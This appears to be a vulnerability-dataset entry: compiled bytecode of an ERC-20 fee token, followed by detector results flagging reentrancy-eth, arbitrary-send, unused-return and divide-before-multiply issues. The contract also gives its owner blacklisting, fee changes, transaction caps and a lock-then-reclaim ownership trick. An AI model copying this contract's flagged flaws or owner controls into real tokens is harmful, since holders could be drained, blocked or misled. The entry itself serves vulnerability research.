0190602001808311610cb857829003601f168201915b5050505050905090565b6000610cf3610cec612830565b8484612838565b6001905092915050565b600c5481565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600654905090565b610d3b612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf906143b5565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60095481565b6000610e36848484612a03565b50610ef884610e43612830565b610ef385604051806060016040528060288152602001614c6560289139601360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ea9612830565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e49092919063ffffffff16565b612838565b600190509392505050565b610f0b612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8f906143b5565b60405180910390fd5b80601860176101000a81548160ff02191690831515021790555050565b600a5481565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061101e61100d7f000000000000000000000000000000000000000000000000000000000000dead611856565b60065461314890919063ffffffff16565b905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900460ff16905090565b600061110961106d612830565b84611104856013600061107e612830565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d290919063ffffffff16565b612838565b6001905092915050565b61111b612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f906143b5565b60405180910390fd5b8060078190555050565b6111ba612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123e906143b5565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860159054906101000a900460ff1681565b6112e3612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611370576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611367906143b5565b60405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60146020528060005260406000206000915054906101000a900460ff1681565b600042905090565b60006113e6612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a906143b5565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156114be57600080fd5b505afa1580156114d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f69190613c7b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561155857600080fd5b505afa15801561156c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115909190613c7b565b6040518363ffffffff1660e01b81526004016115ad9291906141f3565b60206040518083038186803b1580156115c557600080fd5b505afa1580156115d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fd9190613c7b565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117be578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561167a57600080fd5b505afa15801561168e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b29190613c7b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561171457600080fd5b505afa158015611728573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174c9190613c7b565b6040518363ffffffff1660e01b81526004016117699291906141f3565b602060405180830381600087803b15801561178357600080fd5b505af1158015611797573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117bb9190613c7b565b91505b81601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b6000600254905090565b60085481565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6118a7612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192b906143b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60105481565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611a3690614781565b80601f0160208091040260200160405190810160405280929190818152602001828054611a6290614781565b8015611aaf5780601f10611a8457610100808354040283529160200191611aaf565b820191906000526020600020905b815481529060010190602001808311611a9257829003601f168201915b5050505050905090565b600d5481565b6000600754905090565b611ad1612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b55906143b5565b60405180910390fd5b836008819055508260098190555081600a8190555080600b81905550611ba5600a54611b976009546008546127d290919063ffffffff16565b6127d290919063ffffffff16565b600c81905550611bc2600b54600c546127d290919063ffffffff16565b600d8190555050505050565b6000611c91611bdb612830565b84611c8c85604051806060016040528060258152602001614c8d6025913960136000611c05612830565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e49092919063ffffffff16565b612838565b6001905092915050565b611ca3612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d27906143b5565b60405180910390fd5b80601860166101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd490614455565b60405180910390fd5b6002544211611e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1890614435565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611f35611f2e612830565b8484612a03565b506001905092915050565b611f48612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcc906143b5565b60405180910390fd5b80601860156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161201e919061427d565b60405180910390a150565b60156020528060005260406000206000915054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612077612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fb906143b5565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601860169054906101000a900460ff1681565b612163612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e7906143b5565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804261229e919061458a565b600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b6123b7612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243b906143b5565b60405180910390fd5b8060108190555050565b612456612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124da906143b5565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612546612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ca906143b5565b60405180910390fd5b8060118190555050565b6125e5612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612672576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612669906143b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156126e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d9906142f5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601860179054906101000a900460ff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b60008082846127e1919061458a565b905083811015612826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281d90614335565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289f90614415565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290f90614315565b60405180910390fd5b80601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129f69190614475565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6b906143f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ae4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612adb906142d5565b60405180910390fd5b601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612b885750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bbe90614355565b60405180910390fd5b60008211612c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c01906143d5565b60405180910390fd5b601860149054906101000a900460ff1615612c3157612c2a848484613192565b90506130dd565b612c396119fe565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612ca75750612c776119fe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612cf257601054821115612cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce890614375565b60405180910390fd5b5b6000612cfd30611856565b905060006007548210159050808015612d235750601860149054906101000a900460ff16155b8015612d7d5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015612d955750601860159054906101000a900460ff165b15612dbf57601860169054906101000a900460ff1615612db55760075491505b612dbe82613365565b5b612e48846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250601260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e49092919063ffffffff16565b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f2e5750601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612f4257612f3d87878761352c565b612f44565b845b9050601860179054906101000a900460ff168015612fac5750601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fdb57601154612fcf82612fc189611856565b6127d290919063ffffffff16565b1115612fda57600080fd5b5b61302d81601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d290919063ffffffff16565b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130cd9190614475565b60405180910390a3600193505050505b9392505050565b600083831115829061312c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312391906142b3565b60405180910390fd5b506000838561313b919061466b565b9050809150509392505050565b600061318a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506130e4565b905092915050565b600061321d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e49092919063ffffffff16565b601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132b282601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d290919063ffffffff16565b601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133529190614475565b60405180910390a3600190509392505050565b6001601860146101000a81548160ff02191690831515021790555060006133be60026133b06008546133a2600c54876136f390919063ffffffff16565b61373d90919063ffffffff16565b6136f390919063ffffffff16565b905060006133d5828461314890919063ffffffff16565b90506133e0816137b8565b6000479050600061341161340060026008546136f390919063ffffffff16565b600c5461314890919063ffffffff16565b9050600061344f6002613441846134336008548861373d90919063ffffffff16565b6136f390919063ffffffff16565b6136f390919063ffffffff16565b9050600061347a8361346c600a548761373d90919063ffffffff16565b6136f390919063ffffffff16565b905060006134a382613495858861314890919063ffffffff16565b61314890919063ffffffff16565b90506134d1600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613a43565b6134fd600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613a43565b6135078784613a8e565b505050505050506000601860146101000a81548160ff02191690831515021790555050565b600080601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146135b1576135ac606461359e600c548661373d90919063ffffffff16565b6136f390919063ffffffff16565b6135da565b6135d960646135cb600d548661373d90919063ffffffff16565b6136f390919063ffffffff16565b5b905061362e81601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d290919063ffffffff16565b601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136ce9190614475565b60405180910390a36136e9818461314890919063ffffffff16565b9150509392505050565b600061373583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b82565b905092915050565b60008083141561375057600090506137b2565b6000828461375e9190614611565b905082848261376d91906145e0565b146137ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137a490614395565b60405180910390fd5b809150505b92915050565b6000600267ffffffffffffffff8111156137d5576137d461486f565b5b6040519080825280602002602001820160405280156138035781602001602082028036833780820191505090505b509050308160008151811061381b5761381a614840565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156138bd57600080fd5b505afa1580156138d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138f59190613c7b565b8160018151811061390957613908614840565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061397030601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612838565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139d49594939291906144c0565b600060405180830381600087803b1580156139ee57600080fd5b505af1158015613a02573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613a37929190614490565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a89573d6000803e3d6000fd5b505050565b613abb30601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612838565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b076119fe565b426040518863ffffffff1660e01b8152600401613b299695949392919061421c565b6060604051808303818588803b158015613b4257600080fd5b505af1158015613b56573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b7b9190613e15565b5050505050565b60008083118290613bc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613bc091906142b3565b60405180910390fd5b5060008385613bd891906145e0565b9050809150509392505050565b600081359050613bf481614c1f565b92915050565b600081519050613c0981614c1f565b92915050565b600081359050613c1e81614c36565b92915050565b600081359050613c3381614c4d565b92915050565b600081519050613c4881614c4d565b92915050565b600060208284031215613c6457613c6361489e565b5b6000613c7284828501613be5565b91505092915050565b600060208284031215613c9157613c9061489e565b5b6000613c9f84828501613bfa565b91505092915050565b60008060408385031215613cbf57613cbe61489e565b5b6000613ccd85828601613be5565b9250506020613cde85828601613be5565b9150509250929050565b600080600060608486031215613d0157613d0061489e565b5b6000613d0f86828701613be5565b9350506020613d2086828701613be5565b9250506040613d3186828701613c24565b9150509250925092565b60008060408385031215613d5257613d5161489e565b5b6000613d6085828601613be5565b9250506020613d7185828601613c0f565b9150509250929050565b60008060408385031215613d9257613d9161489e565b5b6000613da085828601613be5565b9250506020613db185828601613c24565b9150509250929050565b600060208284031215613dd157613dd061489e565b5b6000613ddf84828501613c0f565b91505092915050565b600060208284031215613dfe57613dfd61489e565b5b6000613e0c84828501613c24565b91505092915050565b600080600060608486031215613e2e57613e2d61489e565b5b6000613e3c86828701613c39565b9350506020613e4d86828701613c39565b9250506040613e5e86828701613c39565b9150509250925092565b60008060008060808587031215613e8257613e8161489e565b5b6000613e9087828801613c24565b9450506020613ea187828801613c24565b9350506040613eb287828801613c24565b9250506060613ec387828801613c24565b91505092959194509250565b6000613edb8383613ef6565b60208301905092915050565b613ef0816146b1565b82525050565b613eff8161469f565b82525050565b613f0e8161469f565b82525050565b6000613f1f82614545565b613f298185614568565b9350613f3483614535565b8060005b83811015613f65578151613f4c8882613ecf565b9750613f578361455b565b925050600181019050613f38565b5085935050505092915050565b613f7b816146c3565b82525050565b613f8a81614706565b82525050565b613f9981614718565b82525050565b6000613faa82614550565b613fb48185614579565b9350613fc481856020860161474e565b613fcd816148a3565b840191505092915050565b6000613fe5602383614579565b9150613ff0826148b4565b604082019050919050565b6000614008602683614579565b915061401382614903565b604082019050919050565b600061402b602283614579565b915061403682614952565b604082019050919050565b600061404e601b83614579565b9150614059826149a1565b602082019050919050565b6000614071601f83614579565b915061407c826149ca565b602082019050919050565b6000614094602883614579565b915061409f826149f3565b604082019050919050565b60006140b7602183614579565b91506140c282614a42565b604082019050919050565b60006140da602083614579565b91506140e582614a91565b602082019050919050565b60006140fd602983614579565b915061410882614aba565b604082019050919050565b6000614120602583614579565b915061412b82614b09565b604082019050919050565b6000614143602483614579565b915061414e82614b58565b604082019050919050565b6000614166601f83614579565b915061417182614ba7565b602082019050919050565b6000614189602383614579565b915061419482614bd0565b604082019050919050565b6141a8816146ef565b82525050565b6141b7816146f9565b82525050565b60006020820190506141d26000830184613f05565b92915050565b60006020820190506141ed6000830184613ee7565b92915050565b60006040820190506142086000830185613f05565b6142156020830184613f05565b9392505050565b600060c0820190506142316000830189613f05565b61423e602083018861419f565b61424b6040830187613f90565b6142586060830186613f90565b6142656080830185613f05565b61427260a083018461419f565b979650505050505050565b60006020820190506142926000830184613f72565b92915050565b60006020820190506142ad6000830184613f81565b92915050565b600060208201905081810360008301526142cd8184613f9f565b905092915050565b600060208201905081810360008301526142ee81613fd8565b9050919050565b6000602082019050818103600083015261430e81613ffb565b9050919050565b6000602082019050818103600083015261432e8161401e565b9050919050565b6000602082019050818103600083015261434e81614041565b9050919050565b6000602082019050818103600083015261436e81614064565b9050919050565b6000602082019050818103600083015261438e81614087565b9050919050565b600060208201905081810360008301526143ae816140aa565b9050919050565b600060208201905081810360008301526143ce816140cd565b9050919050565b600060208201905081810360008301526143ee816140f0565b9050919050565b6000602082019050818103600083015261440e81614113565b9050919050565b6000602082019050818103600083015261442e81614136565b9050919050565b6000602082019050818103600083015261444e81614159565b9050919050565b6000602082019050818103600083015261446e8161417c565b9050919050565b600060208201905061448a600083018461419f565b92915050565b60006040820190506144a5600083018561419f565b81810360208301526144b78184613f14565b90509392505050565b600060a0820190506144d5600083018861419f565b6144e26020830187613f90565b81810360408301526144f48186613f14565b90506145036060830185613f05565b614510608083018461419f565b9695505050505050565b600060208201905061452f60008301846141ae565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614595826146ef565b91506145a0836146ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156145d5576145d46147b3565b5b828201905092915050565b60006145eb826146ef565b91506145f6836146ef565b925082614606576146056147e2565b5b828204905092915050565b600061461c826146ef565b9150614627836146ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156146605761465f6147b3565b5b828202905092915050565b6000614676826146ef565b9150614681836146ef565b925082821015614694576146936147b3565b5b828203905092915050565b60006146aa826146cf565b9050919050565b60006146bc826146cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006147118261472a565b9050919050565b6000614723826146ef565b9050919050565b60006147358261473c565b9050919050565b6000614747826146cf565b9050919050565b60005b8381101561476c578082015181840152602081019050614751565b8381111561477b576000848401525b50505050565b6000600282049050600182168061479957607f821691505b602082108114156147ad576147ac614811565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f546f2f66726f6d206164647265737320697320626c61636b6c69737465642100600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300600082015250565b7f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c60008201527f6f636b0000000000000000000000000000000000000000000000000000000000602082015250565b614c288161469f565b8114614c3357600080fd5b50565b614c3f816146c3565b8114614c4a57600080fd5b50565b614c56816146ef565b8114614c6157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204110dc5c150534fa0dbbc34be4d6c26dc2cf53f581de44a97a1b73660d1699df64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
